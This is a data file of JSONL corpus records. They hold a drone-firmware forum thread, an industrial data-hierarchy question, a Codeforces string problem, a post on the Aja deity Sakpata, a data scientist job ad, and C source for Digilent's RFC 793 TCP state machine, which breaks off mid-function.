frame and fewer bolts for less fixed load\no photo views out both ends (you can always yaw the U but yawing the gimbal may be more stable)\nSo if you get the creative juices and decide to build an H someday, let me know and I'll send you the excel worksheets and photos to help get you there, not that a guy like you needs any help but your input into the H design would be helpful.\nWhile direct access via MP to the pitch, roll, and yaw factors table would be nice, it is not currently possible. Currently, the motor mount tables are hard coded in the source code. The motor mount tables would have to be re-written to accept either variables or read the settings from eeprom memory space. Then, the MP can set the said variables or eeprom memory space. So, the issue isn't an MP issue, but one of the source code not being configured for that type of access, and we now have to manually change the tables and recompile the firmware.\nWow. That would be great if that ever happened, but until it does ... I've read that with an Octa H, I can say I have an Octa V and that redirects the code to the add_motor_raw lines of code under Octa V. So I need to modify the parameters in those 8 lines of code. Before I do that, however, I have some questions (mostly procedures, not math) to which I've scoured this forum and the pirate forum to no avail. Might you be a patient person I can ask and get answers? I'm making an excel file for forum users to simplify the correct calculations for every type of configuration diydrones supports and would like to share that, but want to add explicit instructions which I don't have. Can you help me or know someone who would that is familiar with the Octa V nuances?\nI can assist with the procedures needed to manually modify the source code. I've built a TBS Discovery type frame, and have hacked in my numbers to the AP_MotorsQuad.cpp library file. So far, so good ...\nI've seen your spreadsheet, but haven't had the time to study it. Yes, there is a lack of concise information on how and what to do. There is a lot of conflicting information on how to arrive at the needed numbers, and also a lot of incomplete information.\nAnyway, I'll help as I can.\nSuper. I'll do one question at a time spread out over time to not overload you. I'll incorporate your answers into the Excel document to explain the process.\nQuestion 1 concerns configuration control of the compiled code. For a standard system, how is configuration controlled maintained for each copter. For example, the answer might be something like the following (please edit or start from scratch).\n- MP does not detect the latest version of flight software. The user completely controls updates of flight software and should stay informed via periodic checks at xxx. If MP informs the user of an update, it is talking about an update to MP. [Conversely this might say ... MP auto detects for the latest version of flight software. It informs the user with a pop-up that says \"An update of flight software is available.\" If it says \"An update is available\", this is referring to MP not flight software.]\n- When you want to load the latest flight software, the common method is to run MP, go to the Firmware page (do not connect to your vehicle) and click on the picture of your vehicle. Mission Planner will auto-detect what kind of board you have, download the latest compiled code from the Internet, and then load the code to your APM board. (Note: MP also allows the compiling of previous or custom flight software). The compiled flight software code resides on your vehicle but not on your computer.\n- It is not necessary to erase the firmware from the copter first nor is it necessary to erase the copter settings first that are transmitted when you connect to your copter.\n- The code uploaded does not impact any of the previous settings found in the Configuration page of MP as long as the configuration chosen is the same as the previous configuration chosen. [Or conversely, after an update of the flight software, go to xxx to see which parameters can change.]\nAnyway ... something like that. This will set the stage for the differences between normal and custom configuration control. Please point to a location if this is all ready explained.\nThanks Rick. I don't know how many custom folks there are out there, but once this is done, that percentage might increase.\nI think we are getting off the topic of this thread, and your questions would be better handled offline. Send me a PM, and I'll send you back my email address.\ncontact me at email@example.com for the offline discussion", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1565, "token_count_with_eod": 1566, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is Ted ->\nTed has two oil fields, each of which has a heavy oil well and a light oil well. He also has two separators, one of which is rated for heavy oil and the other for light oil.\nTed would like a ProcessBook display that shows an oil field, its two wells, and attribute values for those two wells. He builds an asset hierarchy in AF where each field is the parent of the two wells in the field and builds an Element Relative Display with the field providing the context. Great! ->\nHe'd also like a ProcessBook display that shows each separator, the two wells feeding it, and the attribute values for the wells and compressors. That requires a hierarchy that looks like this:\nTo compound maters, his users would like all equipment units organized into a taxonomy to help them navigate in Coresight. They're asking for a hierarchy that looks like this:\nHow can Ted build these two different element relative displays and the hierarchy for Coresight, all of which require different views of the data, without having to copy all the elements and maintain their attributes in multiple places or build duplicate ProcessBook displays? ->\nObviously, this is a simplification of a real-life problem Zev is having.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 254, "token_count_with_eod": 255, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an integer $$$n$$$.\n\nYour task is to build a string of uppercase Latin letters. There must be exactly $$$n$$$ special characters in this string. Let's call a character special if it is equal to exactly one of its neighbors.\n\nFor example, there are $$$6$$$ special characters in the AAABAACC string (at positions: $$$1$$$, $$$3$$$, $$$5$$$, $$$6$$$, $$$7$$$ and $$$8$$$).\n\nPrint any suitable string or report that there is no such string.", "source": "cpt_codeforces", "language": "en", "token_count": 111, "token_count_with_eod": 112, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "ߞߎ ߘߏ ߓߌ ߤߥߋߕߊߣߎ ߛߊߜ߳ߊ߫ߕߊ߫ ߊߟߐߊߖ߯ߊߣߘߌߣ\nKu do bi hwetanu Sakpata alo Azandin!\nGreetings to All for this (celebration) time of the deity Sakpata and the Solstice\nAs we enter a new month, we are also blessed to be able to immediately honor and praise the great Ayixosu (king of the earth) Sakpata on the second solstice, which falls on our Dedagbe 2, 6260 (December 21, 2019 Gregorian year).\nSakpata is strictly a deity from the Aja culture (often called For people) of Southern Benin Republic associated with illnesses and healing. To clear up misinformation concerning Sakpata mavomavo, we say that Sakpata:\nA) is not a Yoruba deity\nB) is not the same as Babaluaiye/Sonponna of the Yoruba\nC) is not primarily the deity of smallpox\nD) does not cause smallpox in general\nE) is not associated with end-of-the-year rituals\nSakpata is associated with the second solstice. During this time we invoke Sakpata to cleanse away various illnesses from our families and communities whether they be regular physical illnesses and/or physical illnesses that are the results of internal mental and spiritual illnesses. Sakpata, as a hùn of justice, also deals with moral illnesses. It should be noted that contrary to the primary misunderstanding by black americans in the Isese (“Ifa/Orisa”) tradition, Sakpata is not the same as the Yoruba Babaluaiye though they both share the same basic functions and characteristics. Secondly, contrary to the misunderstanding of the black american Isese “practitioners”, the ceremonies for Sakpata and Babluaiye are not associated with end of the year celebrations and definitely not in relation to the Gregorian calendar. The only people that associate Sakpata or Babaluaiye with “end of the year cleansing” are those in hwendo Máwùfenu (Afrikan culture) who still follow a European calendar and do not have a Máwùfenu calendar of their own – their year starting on the Gregorian January 1.\nAnyone wishing to gain more clarity on the above can contact the Gànlɔdó Kilombonu Xotome (Gànlɔdó Maroon monarchy) and/or want to learn more about how to become a functioning family member – citizen of Gànlɔdó are free to contact us at email@example.com\nAdditionally, when one thinks of Sakapata as a deity concerned with health we think of paying attention to how we treat nature and our food. In relation to food, Ayinon (His Imperial Majesty) Axosu Agelogbagan Azasinkpontin Jisovi Agbovi’s latest book, The Kilombo Cookbook: Aja Foods and ReAfrikanization Diet, contains 160 pages of healthy Afrikan recipes from Southern Benin Republic. This is the first time anyone has produced a recipe book of food from the Aja people. Complete in full color, and unique in containing a glossary of over 300 words strictly related to food, this book is a must have in your process of ReAfrikanization.\nߛߊߜ߳ߊ߫ߕߊ߫߸ ߊߜߊ ߏ߸ ߛߌ߫ߛߌ߫ ߘߊߊ߫ߜߏ߫\nߊߕߏ߫ߕߏ߫ ߊߚߐ ߓߌ ߊߤ߯ߋߜߍߟߎ ߛߊߜ߳ߊ߫ߕߊ߫ ߙߏߕߏߤߎ߫ߣ ߊߕߏ߫ߕ߫", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 911, "token_count_with_eod": 912, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Data Scientist will be based inChennai\nThe Data Scientist will use analytics to identify areas of opportunity within Flex’s global teams to investigate those areas of opportunity and perform analytics that lead to recommended actions to solve the issues identified. This position will be exposed to different types of workforce challenges all over the world. This person will need to apply creativity and innovation to analyze and solve these challenges.\nWe are looking for someone who demonstrates:\n- Intense collaboration\n- Passionate customer focus\n- Thoughtful, fast, disciplined execution\n- Tenacious commitment to continuous improvement\n- Relentless drive to win\nHere is a glimpse of what you will do\n- Engage various internal customers in understanding business problems, and see how data-driven decision making can improve them\n- Based on business needs, develop a comprehensive plan for data collection, data analysis and implementation of results\n- Consolidate and interpret data complex data from many sources, and present meaningful insights in a compelling way using the data driven solution workflow methodology– data preparation, modeling and deployment – predominantly using machine learning/deep learning\n- Work on a broad range of problems in domains like Supply Chain, Manufacturing, Finance, HR, etc.\n- Work across teams to help industrialize solutions that can deliver considerable value by providing actionable insights.\nHere is some of what you will need (required)\n- Overall experience of 5+ years and relevant to Data Science should be 3+ years\n- Strong Python is a must (3-5 years of experience).\n- Experience with AWS and cloud computing (i.e. Azure, Google) (certifications are a plus)\n- Designs, creates, tests and implements complex models and algorithms that drive analytical solutions throughout the organization\n- Regularly tests and maintains analytical models to improve efficiency and keep up with changing business needs, ensuring timely analysis and testing for regular maintenance of solutions over time\n- Must Have solid exposure predictive modelling using Machine Learning, Deep learning, Computer Vision and other techniques\n- Must Have exposure in dealing with Large Datasets on how to handle them.\n- Must Have good Business Acumen and problem-solving skills\n- Must Have knowledge of SQL and No SQL databases\n- Must have an Advanced Degree in Engineering, Computer Science or Mathematics or a combination of experience and training\nHere are a few of our preferred experiences\n- Exposure to reporting tool like Tableau, BO, Microstrategy, Spotfire etc.\n- Microsoft Azure or AWS cloud understanding\n- Understanding of Supply Chain, Enterprise Manufacturing Solutions\n- Proven expertise in solutions that are deployed at scale", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/************************************************************************/\n/*                                                                      */\n/*\tTCPStateMachine.c  This the RFC 793 TCP State Machine               */\n/*                                                          \t\t    */\n/************************************************************************/\n/*  Author:     Keith Vogel                                             */\n/*  Copyright 2013, Digilent Inc.                                       */\n/************************************************************************/\n/* deIP core network library\n*\n* Copyright (c) 2013-2014, Digilent <www.digilentinc.com>\n* Contact Digilent for the latest version.\n*\n* This program is free software; distributed under the terms of \n* BSD 3-clause license (\"Revised BSD License\", \"New BSD License\", or \"Modified BSD License\")\n*\n* Redistribution and use in source and binary forms, with or without modification,\n* are permitted provided that the following conditions are met:\n*\n* 1.    Redistributions of source code must retain the above copyright notice, this\n*        list of conditions and the following disclaimer.\n* 2.    Redistributions in binary form must reproduce the above copyright notice,\n*        this list of conditions and the following disclaimer in the documentation\n*        and/or other materials provided with the distribution.\n* 3.    Neither the name(s) of the above-listed copyright holder(s) nor the names\n*        of its contributors may be used to endorse or promote products derived\n*        from this software without specific prior written permission.\n*\n* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n* IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,\n* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\n* OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n* OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n/************************************************************************/\n/*  Module Description:                                                 */\n/*                                                                      */\n/*\tTo understand this module, go get a copy of RFC 793                 */\n/*                                                                      */\n/************************************************************************/\n/*  Revision History:                                                   */\n/*                                                                      */\n/*\t12/13/2012(KeithV): Created                                         */\n/*                                                                      */\n/************************************************************************/\n#include \"deIP.h\"\n\n// foward references to local functions\nstatic bool TCPCheckForRST(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic void TCPProcessSYN(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic void TCPProcessACK(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic bool TCPCheckForReTransmit(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus);\nstatic bool TCPProcessTxSocketBuffers(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend);\nstatic IPSTACK * TCPFlushSocketAndFIN(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend);\nstatic void UpdateSaSv(TCPSOCKET *  pSocket, int32_t rtt);\n\n/*********************************************************************\n * Function:        void TCPStateMachine(IPSTACK *   pIpStack, SOCKET *  pSocket, IPSTATUS * pStatus)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *\n *\n * Output:          pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         None\n *\n * Note:            This is the fundamental implementation of the RFC 793 / 1122 TCPIP state machine.\n *\n ********************************************************************/\nvoid TCPStateMachine(IPSTACK *   pIpStack, TCPSOCKET *  pSocket, IPSTATUS * pStatus)\n{\n    IPSTATUS        status          = ipsSuccess;\n    int32_t         cbTCPSeg        = 0;\n    int32_t         cbOptions       = 0;\n    uint32_t        tCur            = SYSGetMilliSecond();\n\n    // If we got a stack, we got something coming in.\n    // this is just not a TCP stack maintanience call.\n    if(pIpStack != NULL)\n    {\n        /************************************************************************************/\n        /************************************************************************************/\n        /*********************************   PROCESS ACK    *********************************/\n        /************************************************************************************/\n        /************************************************************************************/\n        TCPProcessACK(pIpStack, pSocket, tCur, pStatus);\n        \n        /************************************************************************************/\n        /************************************************************************************/\n        /*********************************   PROCESS RESETS *********************************/\n        /************************************************************************************/\n        /************************************************************************************/\n\n        // if a RST was sent, get out of the TCP state machine\n        if(TCPCheckForRST(pIpStack, pSocket, tCur, pStatus))\n        {\n            pIpStack = IPSRelease(pIpStack);\n            return;\n        }\n\n        /************************************************************************************/\n        /************************************************************************************/\n        /*********************************   PROCESS SYN    *********************************/\n        /************************************************************************************/\n        /************************************************************************************/\n        TCPProcessSYN(pIpStack, pSocket, tCur, pStatus);\n\n        /************************************************************************************/\n        /************************************************************************************/\n        /*************************   SAVE PAYLOAD DATA IN SOCKET    *************************/\n        /************************************************************************************/\n        /************************************************************************************/\n\n        // TCPCheckForRST does SEQ checking, so we should just process any data that comes in\n        if(pIpStack->cbPayload > 0 && tcpListen <= pSocket->tcpState && pSocket->tcpState <= tcpClosing)\n        {\n            // if we got data, we need to ACK it.\n            if(pSocket->cNeedAck < 15)\n            {\n                pSocket->cNeedAck++;\n            }\n\n            // add the data to our socket.\n            TCPAddRxDataToSocket(pSocket, pIpStack->pTCPHdr->seqNbr, (u8*)pIpStack->pPayload, pIpStack->cbPayload);\n        }\n    }   // end of that we got an IpStack\n\n    /************************************************************************************/\n    /************************************************************************************/\n    /*********************************   RETRANSMIT    **********************************/\n    /************************************************************************************/\n    /************************************************************************************/\n    if(TCPCheckForReTransmit(pIpStack, pSocket, tCur, pStatus))\n    {\n        pIpStack = IPSRelease(pIpStack);\n        return;\n    }\n\n    /************************************************************************************/\n    /************************************************************************************/\n    /***************************** TCP  STATE MACHINE    ********************************/\n    /************************************************************************************/\n    /************************************************************************************/\n    switch(pSocket->tcpState)\n    {\n        // listen -> synRecieved -> established\n        case tcpListen:         // only looking for a syn\n\n\n            // We are looking for a SYN to connect\n            if(pIpStack != NULL && pIpStack->pTCPHdr->fSyn)\n            {\n                uint32_t    cbOptions       = 0;\n\n                // fix up our socket with the attaching data\n                pSocket->tcpState       =   tcpSynReceivedWhileListening;       // no longer listening\n                pSocket->s.portRemote   =   pIpStack->pTCPHdr->portSrc;\n\n                if(ILIsIPv6(pSocket->s.pLLAdp))\n                {\n                    memcpy(&pSocket->s.ipRemote.ipv6, &pIpStack->pIPv6Hdr->ipSrc, sizeof(IPv6));\n                }\n                else\n                {\n                    memcpy(&pSocket->s.ipRemote.ipv4, &pIpStack->pIPv4Hdr->ipSrc, sizeof(IPv4));\n                }\n\n                // because I can't be sure that they sent me the MSS option, I need to blow away their\n                //IpStack and get my own where I know I will have the 4 bytes for the options.\n                pIpStack = IPSRelease(pIpStack);\n\n                // this will always get me a new IpStack, but I may be out so if it\n                // fails I need to clean up; it is the best I can do with no resources\n                if((pIpStack = TCPCreateSyn(pSocket, &cbOptions, &status)) != NULL)\n                {\n                    // set up for the transmit\n                    cbTCPSeg                        = 1;    // a SYN is 1 byte long.\n                    cbOptions                       = cbOptions;\n                    pSocket->tLastAck               = tCur;\n                    pSocket->sndISS                 = TCPGetSeqNumber(pSocket->s.pLLAdp);\n                }\n\n                // reset the socket to the listening state; wait for another SYN\n                // maybe then we will have IpStack resources to accept the connection\n                else\n                {\n                    TCPResetSocket(pSocket);\n                }\n            }           \n            break;\n\n        case tcpSynSent:\n\n            // we are waiting for a SYN\n            if(pIpStack != NULL && pIpStack->pTCPHdr->fSyn)\n            {\n                // it is allowable that we get a SYN without an ACK\n                // if we get a SYN, we must ACK their SYN at least\n                pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, &status);\n            \n                // moing to the SynRecieved state\n                // there we will check to see if we got the ACK to our SYN\n                pSocket->tcpState   = tcpSynReceived;                \n            }\n            else\n            {\n                // safe to release a NULL stack\n                pIpStack = IPSRelease(pIpStack);\n            }\n            break;\n\n        case tcpSynReceivedWhileListening: // just to remember that it came from a Listening state\n        case tcpSynReceived:               // only looking for an ack\n\n            // RFC 793 section 3.4 figure 8\n            // At this point, I am just waiting for an ACK\n            // to my SYN. I could have either been in the syn packet return at the tcpSynSent\n            // or just waiting for an ACK, even with data in it.\n            // I just want my ACK!\n            if(pSocket->sndUNA < pSocket->sndNXT)\n            {\n                // otherwise he did not ack our SYN, so just toss and wait for the SYN ACK\n                pIpStack = IPSRelease(pIpStack);\n                break;\n            }\n\n            // before we go to established, set all of our send\n            // indexes to the front of the buffer\n            // this absolutely safe because we know pSocket->sndNXT == 1\n            // because this implementation will NOT send data on the SYN, in fact\n            // this implementation will NOT send data until we are in the established state\n            // so I know the only value of sndNXT is the SYN, which is 1\n            // now we need to set sndNXT to zero, because that will point the to the beginning of our snd buffer.\n            pSocket->sndISS     += pSocket->sndNXT;         \n            pSocket->sndRTTComplete = 0;    // we are just going to restart the timer\n            pSocket->sndNXT     = 0;\n            pSocket->sndUNA     = 0;\n            pSocket->sndUP      = 0;\n            pSocket->sndEND     = 0;\n            pSocket->sndPSH     = 0;\n            pSocket->cTxUntilPause = CNTPAUSESEND;\n\n            pSocket->tcpState   = tcpEstablished;\n\n            // fall into establish\n\n       case tcpEstablished:\n\n            // we have an incoming FIN, process it.\n            if(pIpStack != NULL && pIpStack->pTCPHdr->fFin)\n            {\n                // this can get very tricky. But if the sender is in a retransmit state\n                // where he is sending me SEQ NBR before where I actually am, but then just\n                // decided to close the connection, the FIN would come in on a SEQ NBR too\n                // early.\n                // we know we are sending an ack out\n                pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n\n                // say we received the fin\n                pSocket->rcvNXT++;\n                pSocket->fGotFin = true;\n\n                // we can send the fin with the ack if we have no data to flush\n                if( pSocket->sndNXT == pSocket->sndEND)\n                {\n                    pSocket->tcpState       = tcpLastAck;\n                    cbTCPSeg                = 1;\n                    pIpStack->pTCPHdr->fFin = true;\n                }\n\n                // otherwise we must wait to flush the data in our buffers first\n                else\n                {\n                    pSocket->tcpState = tcpCloseWait;\n                }\n            }\n\n            // We always want to call TCPProcessTxSocketBuffers\n            // it will check to see if we need to send something\n            // It will also do congestion control.\n            // always refress the stack, it will use the existing one if we have one\n            // or get one if we do not have one. If we are not to send we will\n            // release the aquired pIpStack.\n            else if(    ((pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus)) != NULL)      &&\n                        !TCPProcessTxSocketBuffers(pIpStack, pSocket, tCur, &cbTCPSeg)       )\n            {\n                pIpStack = IPSRelease(pIpStack);\n            }\n            break;\n\n        // This is where we go if we get a FIN from them\n        // We need to flush our data and then send a FIN to  them\n        case tcpCloseWait:\n            \n             if((pIpStack = TCPFlushSocketAndFIN(IPSRefresh(pIpStack, pSocket->s.pLLAdp, &status), pSocket, tCur, &cbTCPSeg)) != NULL  &&\n                pIpStack->pTCPHdr->fFin )\n            {\n                pSocket->tcpState           = tcpLastAck;\n            }\n            break;\n\n        // just waiting for them to ack our fin.\n        case tcpLastAck:\n\n            // We got the ACK to our FIN; we are DONE\n            if(pIpStack != NULL && pSocket->sndUNA == pSocket->sndNXT)\n            {\n                pSocket->tcpState = tcpWaitUserClose;\n            }\n\n            // always releaset the stack as we have nothing to send back\n            pIpStack = IPSRelease(pIpStack);\n            break;\n\n        // This is the queing of the close until we flush our data\n        case tcpFinWait1:\n\n            // not really expecting this, but we could just get their FIN while we are closeing.\n            // so just ACK their FIN and then pretend we got this during the established state\n            // and go to the CloseWaiting state to flush our Tx buffer and send our FIN\n            if(pIpStack != NULL && pIpStack->pTCPHdr->fFin)\n            {\n                pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n\n                // say we received the fin\n                pSocket->rcvNXT++;\n                pSocket->fGotFin = true;\n                pSocket->tcpState = tcpCloseWait;\n            }\n\n            // otherwise continue to flush our Tx buffer\n            else if((pIpStack = TCPFlushSocketAndFIN(IPSRefresh(pIpStack, pSocket->s.pLLAdp, &status), pSocket, tCur, &cbTCPSeg)) != NULL  &&\n                pIpStack->pTCPHdr->fFin )\n            {\n                // This is the fin packet\n                // go wait for their ACK and FIN\n                pSocket->tcpState   = tcpFinWait2;\n            }\n            break;\n\n        // we MUST get an ack to our fin\n        // the question is, do we also get a fin from them?\n        case tcpFinWait2:\n            if(pIpStack != NULL)\n            {\n                // We got the fIN; all we have to do is ack it and we are done\n                if(pIpStack->pTCPHdr->fFin)\n                {\n                    pSocket->rcvNXT++;\n                    pSocket->fGotFin = true;\n                    pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n\n                    // we got the ACT to our FIN; we are done\n                    if(pSocket->sndUNA == pSocket->sndNXT)\n                    {\n                        pSocket->tcpState       = tcpWaitUserClose;\n                    }\n\n                    // otherwise we have to wait for them to ACK our FIN\n                    else\n                    {\n                        pSocket->tcpState       = tcpLastAck;\n                    }\n                }\n\n                // we only got an ack, but make sure this is the ack to our fin\n                else if(pSocket->sndUNA == pSocket->sndNXT)\n                {\n                    // do not send an ack, just for an ack; we only want to ack the final fIN\n                    pIpStack = IPSRelease(pIpStack);\n                    pSocket->tcpState       = tcpClosing;\n\n                    // now in this state sndUNA == sndNXT and out connection\n                    // is in a stable state that will wait forever. But clearly\n                    // we are not going to wait forever to get the final FIN\n                    // so set our time and in the tcpClosing if we wait too long\n                    // we will send a RST and clean up the socket.\n                    pSocket->tLastAck       = tCur;\n                }\n\n                // we are still waiting for the ack of our fin\n                else\n                {\n                    pIpStack = IPSRelease(pIpStack);\n                }\n            }\n            break;\n\n        case tcpClosing:\n            // we never got their fin, we are waiting for it\n            if(pIpStack != NULL)\n            {\n                // We got the FIN; all we have to do is ACK it and we are done\n                if(pIpStack->pTCPHdr->fFin)\n                {\n                    pSocket->rcvNXT++;\n                    pSocket->fGotFin = true;\n                    pIpStack = IPSRefresh(pIpStack, pSocket->s.pLLAdp, pStatus);\n                    pSocket->tcpState       = tcpWaitUserClose;\n                }\n\n                // otherwise keep waiting, for their FIN\n                else\n                {\n                    pIpStack = IPSRelease(pIpStack);\n                }\n            }\n            break;\n\n        case tcpWaitUserClose:\n            pIpStack = IPSRelease(pIpStack);\n\n            // spin until the user explicitly closes the socket\n            // this will keep the data for the user to completely read\n            if(pSocket->fSocketOpen == false)\n            {\n                pSocket->tcpState = tcpClosed;\n            }\n            break;\n\n        // Shut the socket down\n        case tcpClosed:\n            pIpStack = IPSRelease(pIpStack);\n            TCPResetSocket(pSocket);                  \n            break;\n\n        default:\n            pIpStack = IPSRelease(pIpStack);\n            status = ipsUnknowTCPState;\n            if(pSocket != NULL)\n            {\n                pSocket->tcpState = tcpUnassigned;\n                TCPResetSocket(pSocket);\n            }\n            break;\n    }\n\n    if(pIpStack != NULL && !IsIPStatusAnError(status))\n    {\n        TCPTransmit(pIpStack, pSocket, cbTCPSeg, cbOptions, true, tCur, &status);\n    }\n\n    AssignStatusSafely(pStatus, status);\n    return;\n}\n\n/*********************************************************************\n * Function:        bool TCPCheckForRST(IPSTACK *  pIpStack, SOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n *\n * Input:           pIpStack    If data came in on the adaptor, the\n *                              this contains the incoming segment.\n *\n *                  pSocket     The socket to be processessed. All active sockets are process on each loop,\n *                              so the pStack can easily be NULL if no data come in on the adaptor.\n *                              The pSocket can be NULL if data came in on the adaptor for our IP\n *                              but did not match any active or listin port.\n *\n *                  tCur        The time when we entered the TCP State machine\n *\n *\n *\n * Output:          pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns:         true if process and error and the TCP state machine should exit, false if there were no errors.\n *\n * Note:            This a preprocessor on the incoming segment and socket\n *                  It makes sure that things look good, or it send a RST or ACK\n *                  or cleans up the socket according to the requirements of the RFCs.\n *\n ********************************************************************/\nstatic bool TCPCheckForRST(IPSTACK *  pIpStack, TCPSOCKET * pSocket, uint32_t tCur, IPSTATUS * pStatus)\n{\n    bool    fAck    = false;\n    TCPSOCKET  socket;\n    \n    // most common error code\n    AssignStatusSafely(pStatus, ipsTCPRSTPkt);\n\n    // this should not happen\n    if(pIpStack == NULL)\n    {\n        return(true);\n    }\n\n    // If we are going to send reset, it will\n    // be on a created dummy socket because we must\n    // control so much of the values it it.\n    memset(&socket, 0, sizeof(socket));\n\n    // here is a very special case. Somebody is attempting to connect to a socket (port) that does not exist\n    // it is either not listening or established; we must send a reset\n    // RFC 793 Reset Generation point 1.\n\n    // Point 1, the socket is closed or not in any kind of active state\n    if(pSocket == NULL)\n    {\n        // do nothing, but don't process\n        if(pIpStack->pTCPHdr->fRst)\n        {\n            return(true);\n        }\n        if(pIpStack->pTCPHdr->fAck)\n        {\n            // <SEQ=SEG.ACK><CTL=RST>\n            socket.sndISS   = pIpStack->pTCPHdr->ackNbr;\n        }\n        else\n        {\n            // <SEQ=0><ACK=SEG.SEQ+SEG.LEN><CTL=RST,ACK>\n            socket.sndISS   = 0;\n            socket.rcvIRS   = pIpStack->pTCPHdr->seqNbr + pIpStack->cbPayload;\n            fAck            = true;\n            \n            // add the syn if a syn came in\n            if(pIpStack->pTCPHdr->fSyn)\n            {\n                socket.rcvIRS++;\n            }\n        }\n    }\n\n    else\n    {\n\n        switch(pSocket->tcpState)\n        {\n            case tcpListen:\n                if(pIpStack->pTCPHdr->fRst)\n                {\n                    // discard as a bad segement\n                    return(true);\n                }\n\n                // we shouldn't get an ACK when listening\n                else if(pIpStack->pTCPHdr->fAck)\n                {\n                    // <SEQ=SEG.ACK><CTL=RST>\n                    socket.sndISS   = pIpStack->pTCPHdr->ackNbr + pSocket->sndISS;;\n                }\n\n                // we expect to see a SYN without an ACK\n                // so this is a good segment\n                else if(pIpStack->pTCPHdr->fSyn)\n                {\n                    // we would typically do priority checking here\n                    // but we have no prioity.\n\n                    // otherwise this is a good segment.\n                    AssignStatusSafely(pStatus, ipsSuccess);\n                    return(false);\n                }\n                // on a listen, the only thing we should get is a SYN\n                else\n                {\n                    // Not sure exactly how I woudl get here\n                    // no RST, no ACK, no SYN; what is that?\n                    AssignStatusSafely(pStatus, ipsUnknowTCPState);\n                    return(true);\n                }\n                break;\n\n            case tcpSynSent:\n            case tcpSynReceivedWhileListening:          // the Listen sent the SYN, so we are waiting for a ACK on the SYN sent by the listen\n            case tcpSynReceived:\n                if(pIpStack->pTCPHdr->fAck)\n                {\n                    // if the ACK is in range and\n                    // really this means pIpStack->pTCPHdr->ackNbr == (pSocket->sndISS + 1)\n                    // if the ackNbr is less than sndISS, because of scaling it will be really big (as we are unsigned, so neg is big positive),\n                    // in fact so big outside of sndNXT\n                    // the assumption is that our sndISS is still at its orignial base value, and until we get a SYN this is true.\n                    if(0 < pIpStack->pTCPHdr->ackNbr && pIpStack->pTCPHdr->ackNbr <= pSocket->sndNXT)\n                    {\n                        if(pIpStack->pTCPHdr->fRst)\n                        {\n                            // We are being told to shut down and reset\n                            TCPResetSocket(pSocket);\n                            return(true);\n                        }\n\n                        // otherwise, this is a good packet\n                        // fall thru to the next check\n                    }\n\n                    // we are out of range, send a RST\n                    else if(!pIpStack->pTCPHdr->fRst)\n                    {\n                        // <SEQ=SEG.ACK><CTL=RST>\n                        socket.sndISS   = pIpStack->pTCPHdr->ackNbr + pSocket->sndISS;\n\n                        // break out to process the reset\n                        break;\n                    }\n\n                    // got a RST, so don't respond\n                    else\n                    {\n                        return(true);\n                    }\n                }\n\n                // random reset with no ACK, just ignore and return\n                else if(pIpStack->pTCPHdr->fRst)\n                {\n                    \n                    // MAC OS / Safari is very bad, they will\n                    // start a connection and then not ACK my SYN\n                    // the will just send a RST; bad bad Safari, they need\n                    // to send the ACK with it, they started the connection\n                    // if this is the correct seqNbr, remove the socket\n                    if(pIpStack->pTCPHdr->seqNbr == pSocket->rcvNXT)\n                    {\n                        TCPResetSocket(pSocket);\n                    }\n\n                    return(true);\n                }\n\n                // Things look good, now we need to check\n                // sequence number, but onthe SynSent state we\n                // sequence number yet to check, so just say the packet it good\n                if(pSocket->tcpState == tcpSynSent)\n                {\n                    AssignStatusSafely(pStatus, ipsSuccess);\n                    return(false);\n                }\n\n                // otherwise, fall through and check the sequence number\n\n            default:\n\n                if( tcpSynReceivedWhileListening    <=  pSocket->tcpState  &&\n                    pSocket->tcpState               